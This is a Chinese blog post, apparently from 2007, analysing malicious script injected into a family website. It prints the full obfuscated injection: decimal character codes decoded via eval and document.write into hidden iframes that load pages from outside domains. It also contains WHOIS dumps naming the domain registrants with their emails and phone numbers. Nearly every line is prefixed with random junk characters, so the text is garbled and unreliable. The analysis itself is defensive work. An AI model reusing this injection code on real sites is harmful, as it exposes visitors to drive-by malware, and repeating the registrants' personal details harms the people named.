首发在我的博客里面，
W<H<~wf# !3Q^oR http://www.areway.cn/?p=175 @*JS[w$1 7/FF}d A )xfO- 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
i$z*~SuM# O_&K m[ <script>t=’60,105,102,114,97,109,101,
II(P 32,115,114,99,61,104,116,116,112,58,47,47,
S[RVk=A1 102,114,101,101,46,117,45,117,117,117,46,99,
I>@Qfc
bG 110,47,101,114,114,111,114,46,104,116,109,
t ZA%^ Y 32,119,105,100,116,104,61,49,48,48,32,104,
Ce_l\J8G 101,105,103,104,116,61,48,62,60,47,105,102,
3$ BYfI3H 114,97,109,101,62′;
h\*I*I8C t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
}z_7?dn/ qa5 T(: 8 <script>t=’60,105,102,114,97,109,101,32,115,
| $c~Jq 114,99,61,104,116,116,112,58,47,47,102,114,
6"La`}B(T8 101,101,46,117,45,117,117,117,46,99,110,47,
j6BFh=?D 101,114,114,111,114,46,104,116,109,32,119,
=T |m#*{.L 105,100,116,104,61,49,48,48,32,104,101,105,
f/g-b]0 103,104,116,61,48,62,60,47,105,102,114,97,
'];=1loD 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Q}]RB$ZS document.write(t);</script>
kSO:xS0 _N ?^
`EI} g <html xmlns=”
MW)=l
| G http://www.w3.org/1999/xhtml ?yAjxoE~? “>
tnC,1HV0[ <head>
>('Z9<|r: <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
eed!SmP <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
xBAASy <title>首页 - 爱生活家庭网
t +n+ _X f_ Uw IP 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
I=}R
Z9 转换字符串后的大概内容是（谁点击后果自付）：
H)i%\7F5 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
>FReGiK$T q%MLj./?[ 查询玉米u-uuu.cn的详细信息：
RU,!F99' 1 Domain Name: u-uuu.cn
O-]^_LV` ROID: 20070901s10001s64972306-cn
usI$ Domain Status: ok
\rmge4`4 Registrant Organization: 王雷
8\CmM\R Registrant Name: 王雷
#l_hiD`;r Administrative Email:
czlovexs@126.com /` 4B-Y4M4 Sponsoring Registrar: 北京万网志成科技有限公司
_~uYNvmg Name Server:ns.yovole.com
oCuKmK8 Name Server:ns1.yovole.com
Bc51
0I$c Registration Date: 2007-09-01 17:54
<84d
Vg Expiration Date: 2008-09-01 17:54
}G 1hB#j 最后PING了一下地址 都没有什么….
XN~r d,MZ% 5w@Q %'o`I 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
rfhvd wwD <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
}; ]f 3 <script language=”javascript” src=”
<k-hRs2d http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script $|}P L[aA# >
}B2qtb3 这个玉米应该有可能是木马作者的：
|BA<> WE foafau.info的详细信息：
>y
iE} Access to INFO WHOIS information is provided to assist persons in
L@8C t determining the contents of a domain name registration record in the
WfkP Afilias registry database. The data in this record is provided by
#[NNb?`F Afilias Limited for informational purposes only, and Afilias does not
JiC y77H guarantee its accuracy. This service is intended only for query-based
rqYx\i? access. You agree that you will use this data only for lawful purposes
!!UQ,yU and that, under no circumstances will you use this data to: (a) allow,
x|<89o
L enable, or otherwise support the transmission by e-mail, telephone, or
@3I/57u< facsimile of mass unsolicited, commercial advertising or solicitations
)`
90* to entities other than the data recipient’s own existing customers; or
S s#UX_DT_ (b) enable high volume, automated, electronic processes that send
IT\
x0b cv queries or data to the systems of Registry Operator, a Registrar, or
5`[B:<E4 Afilias except as reasonably necessary to register domain names or
w1
tg7^(@ modify existing registrations. All rights reserved. Afilias reserves
kIYV%O
the right to modify these terms at any time. By submitting this query,
&p:GB _ you agree to abide by this policy.
pN7 v7rs Domain ID:D22418703-LRMS
1U~yu& Domain Name:FOAFAU.INFO
~QE- $; Created On:20-Nov-2007 16:05:42 UTC
:*s+X$x,< Last Updated On:20-Nov-2007 16:05:44 UTC
kK$*,]iCp Expiration Date:20-Nov-2008 16:05:42 UTC
y,=TB[d# Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
*p 7_rY Status:CLIENT DELETE PROHIBITED
\x+ "1 Status:CLIENT RENEW PROHIBITED
ajALca4 Status:CLIENT TRANSFER PROHIBITED
g'1 ASMuR Status:CLIENT UPDATE PROHIBITED
\9s x_T Status:TRANSFER PROHIBITED
-87]$ ax Registrant ID:GODA-040110615
@2)ImgK[ Registrant Name:liu hong
^Ts8nOGMh Registrant Organization:
dX5|A_Ex Registrant Street1:beijing
#Vh$u %q3 Registrant Street2:
~F=,)GE Registrant Street3:
odC}RdN Registrant City:beijing
+a ((,wAN2 Registrant State/Province:
#gY|T| Registrant Postal Code:100000
0@dN$e Registrant Country:CN
6i_dL|c Registrant Phone:+86.860108888777
;B@ -RfP Registrant Phone Ext.:
,]|*~dd>G Registrant FAX:
*'nZ|r v Registrant FAX Ext.:
Hnc<)_DF Registrant Email:bbbshiji@163.com
3 eP7vy Admin ID:GODA-240110615
SjB#"A5 Admin Name:liu hong
]<?7Cp P Admin Organization:
m L[Y{t#N Admin Street1:beijing
* IBCThj Admin Street2:
k>q}: J9V Admin Street3:
e&J_uG Admin City:beijing
qI#ow_lL# Admin State/Province:
uV+. (sjH Admin Postal Code:100000
%t<ba[9F Admin Country:CN
UV8K$n < Admin Phone:+86.860108888777
W05>\Rl Admin Phone Ext.:
&[|P/gj#> Admin FAX:
5 ]v]^Y'? Admin FAX Ext.:
;m cu(J Admin Email:bbbshiji@163.com
hz~jyH.h_ Billing ID:GODA-340110615
g?d*cwtU Billing Name:liu hong
zCdzxb_ h" Billing Organization:
Seb J}P1x Billing Street1:beijing
N_), '2 Billing Street2:
Ig M_l= Billing Street3:
F( #~.i Billing City:beijing
AV*eGzz ` Billing State/Province:
m5rJY/ Billing Postal Code:100000
J{bNx8.& Billing Country:CN
#Bgq]6G2 Billing Phone:+86.860108888777
_F9O4Q4 Billing Phone Ext.:
*QT|J 6ng Billing FAX:
nH % 1lD?: Billing FAX Ext.:
mFXkrvOf, Billing Email:bbbshiji@163.com
K7N.gT *4 Tech ID:GODA-140110615
a5xmIp@6 Tech Name:liu hong
"ZLujpZcG Tech Organization:
+1 j+%&). Tech Street1:beijing
K{x FhdW Tech Street2:
~^R?H S Tech Street3:
U?d4 ^ Tech City:beijing
DR w;.it2 Tech State/Province:
- *r]9f6 x Tech Postal Code:100000
jJD Y l( [ Tech Country:CN
s55t>t,g6 Tech Phone:+86.860108888777
xRU ~h Q Tech Phone Ext.:
4%L-3Ij Tech FAX:
^HasT4M+ x Tech FAX Ext.:
l`A4)8Y@ Tech Email:bbbshiji@163.com
Lb}
c jI: Name Server:NS27.DOMAINCONTROL.COM
4]/i0\Vbam Name Server:NS28.DOMAINCONTROL.COM
)mb RG9P Name Server:
XU19+mW=P Name Server:
:u$+lq Name Server:
)Mj
$/ Name Server:
';0NWFP Name Server:
G xR, 3 Name Server:
qTl/bFD Name Server:
U\\nSU Name Server:
,@'M'S Name Server:
+\ O[)\ Name Server:
Udh!%QP%[w Name Server:
6Y[|xu:N8Y WDdp(< 接着下载每个文件里面的代码：
k;9"L90 一步一步看..
']]&<B}mz 
GXE6=BO 
@\UoZv( 
>)IXc<"wq 
7berkU0P 
5h4E>LB.B 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
